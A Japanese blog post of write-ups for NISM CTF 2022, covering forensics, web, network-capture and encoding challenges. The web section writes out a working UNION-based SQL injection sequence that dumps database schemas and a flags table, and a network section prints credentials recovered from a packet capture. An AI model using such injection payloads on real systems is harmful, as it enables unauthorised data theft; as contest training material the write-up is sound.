はまやんはまやんはまやん

hamayanhamayan's blog

NISM CTF (2022) Writeups

[Forensics] Lost USB memory

fileコマンドでどういうものか見てみよう。

$ file problem.bin problem.bin: DOS/MBR boot sector, code offset 0x58+2, OEM-ID "MSDOS5.0", sectors/cluster 2, reserved sectors 6334, Media descriptor 0xf8, sectors/track 63, heads 255, sectors 245760 (volumes > 32 MB), FAT (32 bit), sectors/FAT 929, serial number 0x70d02f45, unlabeled

MBRとか書いてあるのでディスクイメージっぽい。USBのイメージを丸々持ってきたものかな。
FTK Imagerで開いてみると、消されていたファイルも見えてきた。
!flag.pdfを見みるとフラグがある。

[Forensics] Hidden files

foremost -v [file]をしてみると隠し画像が見つかる。
どれもフラグが書いてあるのでくっつけると答え。

[Forensics] A file is opening

名前から、メモリダンプっぽいのでvolatility3で解析してみる。
ファイル名からwin10っぽいので、windowsという仮定を置いて解析。
「とあるプログラムが重要なファイルを開いているみたい...」とのことなので、まずは「とあるプログラム」を特定する。

python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP windows.pstreeを見てみよう。

Volatility 3 Framework 2.4.1

PID PPID    ImageFileName   Offset(V)   Threads Handles SessionId   Wow64   CreateTime  ExitTime

4   0   System  0x8636e640  139 -   N/A False   2022-07-15 23:04:19.000000  N/A
* 72    4   Registry    0x87e32640  4   -   N/A False   2022-07-15 23:04:07.000000  N/A
* 348   4   smss.exe    0x8f01a640  2   -   N/A False   2022-07-15 23:04:19.000000  N/A
* 1400  4   MemCompression  0x92bb3300  26  -   N/A False   2022-07-15 23:04:40.000000  N/A
540 524 csrss.exe   0x8f022540  11  -   1   False   2022-07-15 23:04:38.000000  N/A
600 524 winlogon.exe    0x92a3c040  4   -   1   False   2022-07-15 23:04:38.000000  N/A
* 792   600 fontdrvhost.ex  0x8f70b040  5   -   1   False   2022-07-15 23:04:39.000000  N/A
* 3568  600 userinit.exe    0xa0c1d840  0   -   1   False   2022-07-15 23:04:53.000000  2022-07-15 23:05:23.000000 
** 3652 3568    explorer.exe    0x9f854040  78  -   1   False   2022-07-15 23:04:53.000000  N/A
*** 5288    3652    vmtoolsd.exe    0xa0da7040  6   -   1   False   2022-07-15 23:05:30.000000  N/A
*** 5656    3652    cmd.exe 0xa5a02640  2   -   1   False   2022-07-15 23:05:38.000000  N/A
**** 4656   5656    notepad.exe 0x9f8477c0  5   -   1   False   2022-07-15 23:06:27.000000  N/A
**** 5676   5656    conhost.exe 0xa5a07040  5   -   1   False   2022-07-15 23:05:38.000000  N/A
*** 5332    3652    OneDrive.exe    0xa6c32640  16  -   1   False   2022-07-15 23:05:31.000000  N/A
*** 5196    3652    SecurityHealth  0xa6c24680  7   -   1   False   2022-07-15 23:05:29.000000  N/A
* 936   600 dwm.exe 0x92ac5680  17  -   1   False   2022-07-15 23:04:39.000000  N/A

んー、ファイルを開くといえば、notepad.exeか。
pidは4656なので、python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP dumpfiles --pid=4656で関連ファイルをdumpしてみる…が何もない。

他を見てみるとcmdlineの方で有用な情報が出ていた。
python3 ~/.opt/volatility3/vol.py -f Win10_MEMORY.DMP windows.cmdline

...
5676    conhost.exe \??\C:\Windows\system32\conhost.exe 0x4
4656    notepad.exe C:\Windows\system32\notepad.exe  C:\Users\Koito_Yuu\Desktop\flag\base64\TklTTXtNM20wcnlfZHVtcF90Mzc3X3U1XzV0NHQzXzBmX3RoM19QQ18xbl90aDNfbTBtM250fQ==
3744    sppsvc.exe  C:\Windows\system32\sppsvc.exe
4320    svchost.exe C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p

ファイル名をbase64デコードすればフラグ。

[Forensics] Find Reg Value 解けず

レジストリにインストール日時が記録されているのでとって来る。
以下が参考になる。
https://for0n6x.hatenablog.com/entry/2018/06/03/222547

この情報をもとにVolatilityで探ったがレジストリの値が出てこない…
レジストリハイブをちゃんと羅列してきて、指定すれば取ってこれたみたい。
うーん、反省。

[Web] 超、易問!

?color=ほにゃららで色が変更できる。
NISMのテーマカラーということで、トップページのロゴを見てみると水色が目に入る。
色々それっぽい色名で試すと?color=blueでフラグが出てきた。

[Web] frog, frog, frog

作品を変えて青空文庫にある作品を閲覧できるサイト。
作品を変えるときにPOSTでIDっぽいものをつけている。
こういう系はLFIを狙うのが定石なので、とりあえず色々試す。
…がいまいち刺さらない。途中でuser=guestという怪しいcookieがあるが、特に何もできそうにない。

1つ目のヒントは無料っぽいので見てみる。

本当に全部カエルの作品だろうか?

ほう…
あたらめて見返すと、ページ上部の表にThe flag hidingというのがある!
なるほど。カラムにはないが、1980s: The flag hidingが読めればよさそう。
他の様式を参考にPOST /に対してcontents=1980s%2FThe+flag+hidingを送信すれば内容が見られる。
だが、フラグはまだのようだ。

ChromeのDevToolsのElementsで適当に探索していると、<div id="hidden"><br></div>部分に::afterがついていることに気が付く。
たどるとcssの方にフラグが書いてあり、これが正解。
つまり、最初からフラグは手元にあった訳だ。
面白いフラグの置き方。

[Web] お米食べろ

検索機能付きで統計が見られるサイト。
検索機能くらいしか攻撃点がなさそうなので、SQL Injectionを試す。
長_とすると長野と長崎が出てきたのでLIKE文感がある。
シングルクオーテーションを含めると''%'order by ha DESC'というのが出てくる。 x' union select 1,2,3 #としてみると、1,2,3が出てくる。OK.
以下のように色々探索してフラグを探すとある。

x' union select GROUP_CONCAT(distinct TABLE_SCHEMA),2,3 FROM INFORMATION_SCHEMA.TABLES #
-> flags,information_schema,japan

x' union select GROUP_CONCAT(distinct table_name),2,3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA='flags' #
-> flags

x' union select GROUP_CONCAT(distinct column_name),2,3 FROM INFORMATION_SCHEMA.columns WHERE table_name='flags' #
-> flag,id

x' union select flag,id,3 from flags.flags #
-> フラグっぽいのがたくさん

色々出てくるがNISM{...}のものが1つあるので答え。

[NetWork] Electrical talk

pcapファイルを開いてみるとICMPの応答失敗がたくさん目に付く。
1台は応答が来ているはずなので、いい感じにフィルタリングしていく。

最初は2288パケット。
まずは、エラーになっているものを取り除こう icmp.type != 3
これで759パケット。
あとは応答があるものが見たいので、ソースが発信元っぽい192.168.100.2であるものを取り除く。
(icmp.type != 3) && (ip.src != 192.168.100.2)
3パケット。いい感じ。
これでIPがわかるのでホスト名を引いてきて答える。

[NetWork] Insecure communications

大量にリクエストがあるのでhttpでフィルタリングして眺めようとしたが…まだ多い。
「クレデンシャルを見つけて」ということなので、POSTの通信を探すと、

21640    611.352067  192.168.0.98    192.168.0.25    HTTP    850     POST /cgi-bin/mail-maga-auth.py HTTP/1.1  (application/x-www-form-urlencoded)

というのが見つかる。
http.request.method == "POST"でフィルタリングしてみると13パケット出てくる。
POSTのbodyについて「列として適用」を使って一覧に表示してみると、ユーザー名は固定でパスワードが色々ある。
最後の試行で成功しているだろうと推測してクレデンシャルをメモっておく。
最後の施行のパケットを右クリックして、「追跡」、「TCPストリーム」をして、どこに入力しているかを特定する。

すると、POSTの直前でhttp://electronic.tuda-organization.siebold-cyber.net/magazine.htmlにつないでいるのがわかるので、
行ってみるとクレデンシャルを入力する画面が出てくる。
先ほどメモったクレデンシャルmu05201914:zaCra-a4a_l9@kU3-8gを使うとフラグが手に入る。

[NetWork] Where am I?

192.168.1.93で/28を考えればいいが、cyberchefでいい感じに見れる

https://gchq.github.io/CyberChef/#recipe=Group_IP_addresses('Line%20feed',28,false)&input=MTkyLjE2OC4xLjkz

あとは様式通りのフォーマットで答えれば正解。

[Misc] カラーコード

CyberChefにそれっぽいの無いかなーと思ったらあった。こんなのあるのね。
https://gchq.github.io/CyberChef/#recipe=Parse_colour_code()&input=cmdiKDAsMTUzLDIwNCk
hex部分が答えのもの。

[Misc] 奇妙な文字列

よくわからないエンコード物に対する手法の1つとしてCyberChefのmagicがある。
試すとbase64-encodedだと教えてくれる。

https://gchq.github.io/CyberChef/#recipe=Magic(3,false,false,'')&input=VGtsVFRYdGlRSE5sTmpSZll6UnVYMkl6WDJWaE5Xa3hlVjlrWldNd1pHVmtmUT09